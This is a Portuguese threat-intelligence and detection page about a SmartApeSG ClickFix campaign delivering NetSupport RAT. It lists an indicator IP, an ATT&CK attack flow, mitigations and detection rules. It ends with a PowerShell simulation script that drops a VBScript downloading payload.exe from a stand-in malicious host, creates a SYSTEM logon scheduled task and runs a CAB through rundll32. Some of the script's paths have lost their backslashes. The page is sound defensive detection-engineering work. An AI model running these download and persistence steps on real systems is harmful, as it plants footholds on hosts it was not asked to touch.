NetSupport RAT Entregue por um Loader Não Identificado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma ferramenta de acesso remoto anteriormente não identificada foi observada entregando um pacote malicioso do NetSupport Manager RAT. O malware inicial se comunicava com um servidor de comando e controle em 89.110.110.119 sobre a porta TCP 443 usando tráfego codificado. A campanha, rastreada como SmartApeSG ClickFix, contou com scripts maliciosos e um arquivo CAB para instalar o NetSupport RAT nos sistemas das vítimas.
Investigação
A investigação descobriu múltiplos indicadores, incluindo URLs maliciosas, endereços IP e arquivos escritos no diretório ProgramData . O RAT inicial entregou um script batch que extraía e instalava o NetSupport RAT a partir de um setup.cab arquivo. Após a conclusão da instalação, os arquivos de suporte foram removidos para reduzir os vestígios visíveis da atividade.
Mitigação
As organizações devem bloquear o tráfego de rede para os endereços IP e domínios maliciosos identificados e monitorar a criação dos arquivos referenciados sob ProgramData. As defesas de endpoint devem detectar a execução de scripts VBScript e batch suspeitos, enquanto o monitoramento de rede deve aplicar controles mais rigorosos ao tráfego codificado sobre a porta 443.
Resposta
Os defensores devem alertar sobre os indicadores listados, isolar os sistemas afetados e conduzir análises forenses para descobrir quaisquer mecanismos de persistência. Arquivos maliciosos devem ser removidos, quaisquer alterações não autorizadas devem ser revertidas, e as políticas de firewall devem ser atualizadas para bloquear a comunicação de saída com a infraestrutura de comando e controle identificada.
graph TB %% Definição de classes classDef action fill:#c2f0c2 %% Nós node_a[“<b>Ação</b> – <b>T1204.001 Execução pelo utilizador: link malicioso</b><br/><b>Descrição</b>: A vítima carrega JavaScript malicioso a partir de uma página comprometida.”] class node_a action node_b[“<b>Ação</b> – <b>T1027.006 Ficheiros ofuscados: HTML Smuggling</b><br/><b>Descrição</b>: Entrega de script codificado usando a técnica HTML smuggling.”] class node_b action node_c[“<b>Ação</b> – <b>T1059.005 Interpretador de comandos e scripts: Visual Basic</b><br/><b>Descrição</b>: processor.vbs deposita token.bat no sistema.”] class node_c action node_d[“<b>Ação</b> – Execução de script Batch<br/><b>Resultado</b>: Extrai o NetSupport RAT no sistema.”] class node_d action node_e[“<b>Ação</b> – <b>T1547.014 Active Setup</b> & <b>T1546.007 Netsh Helper DLL</b><br/><b>Descrição</b>: RAT colocado em C:\\ProgramData\\UpdateInstaller para persistência.”] class node_e action node_f[“<b>Ação</b> – <b>T1574.007 Interceção de caminho</b> & <b>T1574.005 Permissões fracas de instalador</b><br/><b>Descrição</b>: Escalada de privilégios via PATH malicioso e permissões fracas.”] class node_f action node_g[“<b>Ação</b> – <b>T1564 Ocultar artefactos</b> & <b>T1564.010 Spoofing de argumentos de processo</b><br/><b>Descrição</b>: Ficheiros de staging eliminados e argumentos de processo falsificados para evasão.”] class node_g action node_h[“<b>Ação</b> – <b>T1571 Porta não padrão</b> & <b>T1071.001 Protocolos Web</b><br/><b>Descrição</b>: Tráfego C2 via TCP 443 usando comunicações web codificadas.”] class node_h action %% Ligações node_a –>|leva a| node_b node_b –>|leva a| node_c node_c –>|leva a| node_d node_d –>|leva a| node_e node_e –>|leva a| node_f node_f –>|leva a| node_g node_g –>|leva a| node_h
Fluxo de Ataque
Detecções
LOLBAS WScript / CScript (via criação de processo)
Ver
Possível Execução de Binário do NetSupport Manager de Diretório Suspeito (via criação de processo)
Ver
Comando e Controle Suspeito por Solicitação DNS de Domínio de Nível Superior (TLD) Incomum (via dns)
Ver
IOCs (HashSha256) para detectar: RAT não identificado empurra NetSupport RAT
Ver
IOCs (SourceIP) para detectar: RAT não identificado empurra NetSupport RAT
Ver
IOCs (DestinationIP) para detectar: RAT não identificado empurra NetSupport RAT
Ver
Detecção de Infecção do NetSupport RAT via Script e Arquivos CAB [Evento de Arquivo do Windows]
Ver
Detecção de Comunicação Inicial e C2 do NetSupport RAT [Conexão de Rede do Windows]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Base deve ter passado.
Justificação: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um atacante que ganhou acesso inicial a um host Windows solta três artefatos maliciosos emC:ProgramData:processor.vbs– um script Visual Basic que baixa o binário principal do RAT.token.bat– um arquivo batch que cria uma tarefa agendada para persistência.setup.cab– um arquivo CAB que contém um DLL solto emC:ProgramDatae posteriormente carregado viarundll32.exe.
O atacante então executa cada arquivo por sua vez, causando eventos de criação de processo que contêm os caminhos exatos de arquivo exigidos pela regra Sigma.
-
Script de Teste de Regressão:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # PROPÓSITO: Reproduzir telemetria de infecção do NetSupport RAT # ------------------------------------------------- $targetDir = "C:ProgramData" # Assegure-se de que o diretório exista if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. Soltar processor.vbs $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. Soltar token.bat $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. Soltar setup.cab (CAB de exemplo contendo um arquivo de texto) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placeholder" # Criar um CAB – requer makecab (ferramenta embutida do Windows) & makecab.exe "$tempDirdummy.txt" $cabPath # Fase de Execução – acionando as detecções Write-Host "`n[+] Executando processor.vbs" cscript.exe //B //Nologo $vbsPath Write-Host "[+] Executando token.bat" cmd.exe /c $batPath Write-Host "[+] Executando setup.cab via rundll32 (carregamento simulado)" rundll32.exe "$cabPath",DummyEntryPoint # Limpar pasta temporária usada para criação de CAB Remove-Item -Recurse -Force $tempDir -
Comandos de Limpeza:
# netSupport_RAT_limpeza.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Remover a tarefa agendada criada por token.bat schtasks /delete /tn "NetSupportPersist" /f Write-Host "Limpeza completa."